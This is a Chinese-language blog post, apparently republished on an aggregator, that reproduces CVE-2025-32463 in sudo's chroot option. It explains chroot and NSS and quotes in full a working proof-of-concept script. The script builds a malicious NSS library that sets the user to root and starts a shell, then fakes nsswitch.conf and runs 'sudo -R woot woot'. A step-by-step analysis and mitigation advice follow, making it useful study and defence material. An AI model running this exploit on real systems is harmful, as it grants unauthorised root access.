当前位置: 首页 > news >正文

CVE-2025-32463复现

目录

  • 背景知识
    • chroot环境
    • chroot 环境的具体表现
    • Name Service Switch (NSS)机制
    • 漏洞简介
  • 环境搭建
  • 复现
    • POC分析
  • 防御方法
  • 参考文章:


背景知识

chroot环境

(全称“change root”)是一种Unix/Linux系统中的隔离技术,其核心作用是将进程的根目录(/)切换到系统中的一个子目录,使该进程只能访问这个子目录内的文件和资源,无法突破到外部真实的文件系统。

chroot 环境的具体表现

  1. 根目录被“替换”
    进入chroot环境后,进程看到的/(根目录)实际上是原系统中的一个普通子目录(例如/tmp/mychroot)。例如:

    • 原系统中的/tmp/mychroot/etc/passwd,在 chroot 环境中会被视为/etc/passwd
    • 原系统中的/usr/bin等路径,在chroot环境中不可见(除非手动复制到子目录中)。
  2. 资源隔离
    进程无法访问chroot目录之外的文件、设备或系统资源(如网络配置、其他分区等),仿佛运行在一个“迷你独立系统”中。例如:

    • 尝试访问/proc(系统进程信息)或/dev(设备文件)时,只能看到chroot目录内手动复制的部分内容。
  3. 权限限制
    即使进程在chroot环境中拥有“root权限”,其操作范围也被限制在子目录内,无法影响外部真实系统(正常情况下)。

Name Service Switch (NSS)机制

NSS是Linux用于管理各种系统数据库(用户、组、主机等)的框架。关键点:

  • 配置文件/etc/nsswitch.conf指定各数据库的查询顺序和方式
  • 标准格式:数据库名: 服务1 [动作] 服务2…
  • 例如passwd: files nis表示先查本地文件,再查Network Information Service
  • 共享库命名规则为libnss_<服务名>.so.2

漏洞简介

CVE-2025-32463是Linux系统中Sudo工具的高危本地权限提升漏洞,主要影响1.9.14至1.9.17版本。该漏洞源于Sudo的“-R(–chroot)”选项在实现上存在缺陷,即便攻击者是本地无特权用户且未配置任何sudoers权限规则,也能利用这一漏洞:通过构造恶意目录,并在其中伪造/etc/nsswitch.conf文件,诱导Sudo在处理chroot操作时加载恶意动态库,最终以root权限执行任意代码。目前,Sudo 1.9.17p1版本已修复此漏洞,修复方式为回退1.9.14版本中与chroot功能相关的修改,并弃用了“–chroot”功能,以此彻底消除该安全隐患。
在这里插入图片描述

-R选项的具体功能

  1. 切换根目录
    使用-R选项后,Sudo会将指定路径作为新的根目录(/),执行的命令只能访问该路径下的文件系统层级。例如:

    sudo -R /path/to/chroot /bin/ls
    

    此命令会在/path/to/chroot目录为根的环境中执行ls,显示的是/path/to/chroot内部的文件列表。

  2. 安全隔离
    常用于需要限制程序访问范围的场景,如测试不受信任的代码、运行特权服务(如Web服务器)时降低风险。

  3. 系统维护
    在修复系统引导问题或文件系统损坏时,可以通过chroot环境访问和修改受损系统。

环境搭建

直接用平时常用的kali即可,我安装的是2025版本的kali,应该有该漏洞
在这里插入图片描述
版本符合漏洞影响范围

复现

利用国外大佬的Poc复现即可:

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

克隆poc到kali上面,进入poc目录。根据poc描述检查是否存在漏洞
在这里插入图片描述
返回了sudo: woot: No such file or directory,说明存在漏洞

如果是Windows克隆后复制到Linux上面,可能执行不了,这时候尝试chmod +x给脚本可执行权限,还有就是记得把所有文件换行转换为Linux格式的换行find /path/to/your/folder -type f -exec sed -i 's/\r$//' {} +

然后直接执行脚本就得了。
在这里插入图片描述

POC分析

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1if [ $# -eq 0 ]; then# If no command is provided, default to an interactive root shell.CMD="/bin/bash"
else# Otherwise, use the provided arguments as the command to execute.CMD="$@"
fi# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOFmkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
  1. 环境准备
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

创建临时工作目录,确保后续操作不会污染系统其他位置。

  1. 命令处理
if [ $# -eq 0 ]; thenCMD="/bin/bash"
elseCMD="$@"
fi

$#:表示传递给脚本的参数个数
如果用户没有提供参数,默认执行交互式bash shell;否则执行用户指定的命令。
例如:./sudo-chwoot.sh whoami会执行whoami命令

  1. 生成恶意共享库
__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}

这是一段C代码,利用GCC的constructor属性,使指定函数在共享库加载时自动执行。其功能是将当前进程的用户ID和组ID都设置为0(即root),然后切换到根目录并执行用户指定的命令,-c表示执行字符串形式的命令。

  1. 配置NSS欺骗
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

创建一个伪造的chroot环境:

  • mkdir -p:递归创建目录结构
  • nsswitch.conf是Name Service Switch配置文件,这里将密码数据库查询重定向到我们的恶意库,正常来说passwd: files systemd会调用libnss_files.so.2和libnss_systemd.so.2这些库,而这个异常的会调用libnss_/woot1337.so.2
  • 复制真实的group文件以避免命令执行时因缺少group信息而失败
  1. 编译恶意库并执行攻击
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot
  • shared:生成共享库
  • fPIC:生成位置无关代码(共享库必需)
  • Wl,-init,woot:通过链接器指定woot函数为初始化函数
  • 输出为libnss_/woot1337.so.2:符合NSS模块命名规范libnss_*.so.2
  • sudo -R woot woot是关键攻击命令:-R导致Sudo加载我们控制的nsswitch.conf。第一个woot是chroot目录,第二个woot是要执行的命令(实际会被忽略,因为恶意库已接管)
  1. 攻击原理
    当sudo执行-R选项时,它会切换到指定的chroot环境并尝试解析用户信息。由于我们修改了nsswitch.conf,sudo会加载我们的恶意库woot1337.so.2,触发构造函数,将当前进程权限提升为root,然后执行用户命令。

防御方法

  1. 立即更新Sudo版本:将Sudo升级至1.9.17p1及以上版本,该版本已通过回退存在问题的代码并弃用--chroot功能修复漏洞,可通过系统包管理器(如apt)执行更新:sudo apt update && sudo apt upgrade sudo

  2. 临时禁用--chroot功能:若暂时无法升级,可编辑Sudo配置文件(/etc/sudoers,需用visudo命令),在相关规则中限制-R/--chroot选项的使用,或直接移除包含该选项的配置,阻断漏洞利用路径。

  3. 限制文件权限:严格控制系统中/etc/nsswitch.conf及相关目录的读写权限,防止非授权用户篡改或创建恶意文件,减少攻击者构造利用环境的可能性。

  4. 监控异常操作:通过日志审计工具(如auditd)监控涉及sudo命令、chroot操作及系统库文件加载的异常行为,及时发现潜在攻击尝试。


参考文章:

https://mp.weixin.qq.com/s/mZdIwl9h8tN6J5FNDUl2IQ
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

http://www.lryc.cn/news/583608.html

相关文章:

  • AI进化论03:达特茅斯会议——AI的“开宗立派”大会
  • SpringBoot实现MCP
  • Git版本控制完全指南:从入门到实战(简单版)
  • 【LeetCode207.课程表】以及变式
  • Flutter基础(前端教程⑨-图片)
  • 「macOS 系统字体收集器 (C++17 实现)」
  • JavaScript对象的深度拷贝
  • 全球发展币GDEV:从中国出发,走向全球的数字发展合作蓝图
  • 【RK3568+PG2L50H开发板实验例程】FPGA部分 | DDR3 读写实验例程
  • 【学习笔记】OkHttp源码架构解析:从设计模式到核心实现
  • 【Java】【力扣】【字节高频】3.无重复字符的最长字串
  • 便捷的电脑自动关机辅助工具
  • Deepseek搭建智能体个人知识库
  • yolo8实现目标检测
  • 操作系统核心技术剖析:从Android驱动模型到鸿蒙微内核的国产化实践
  • Day 56
  • EPLAN 电气制图(六):结构盒与设备管理器核心概念(基础知识选看)
  • Linux操作系统之进程间通信:管道概念
  • EF提高性能(查询禁用追踪)(关闭延迟加载)
  • 神经网络初步学习3——数据与损失
  • 如何选择时序数据库:关键因素与实用指南
  • HCIP(综合实验)
  • 备受期待的 MMORPG 游戏《侍魂R》移动端现已上线 Sui
  • 【教程】基于GNN的药物相互作用网络中的链接预测
  • 200nl2sql
  • 安全管理协议(SMP):配对流程、密钥生成与防中间人攻击——蓝牙面试核心考点精解
  • python 在运行时没有加载修改后的版本
  • 自动驾驶决策与规划
  • 华为动态路由配置
  • 【Linux | 网络】socket编程 - 使用UDP实现服务端向客户端提供简单的服务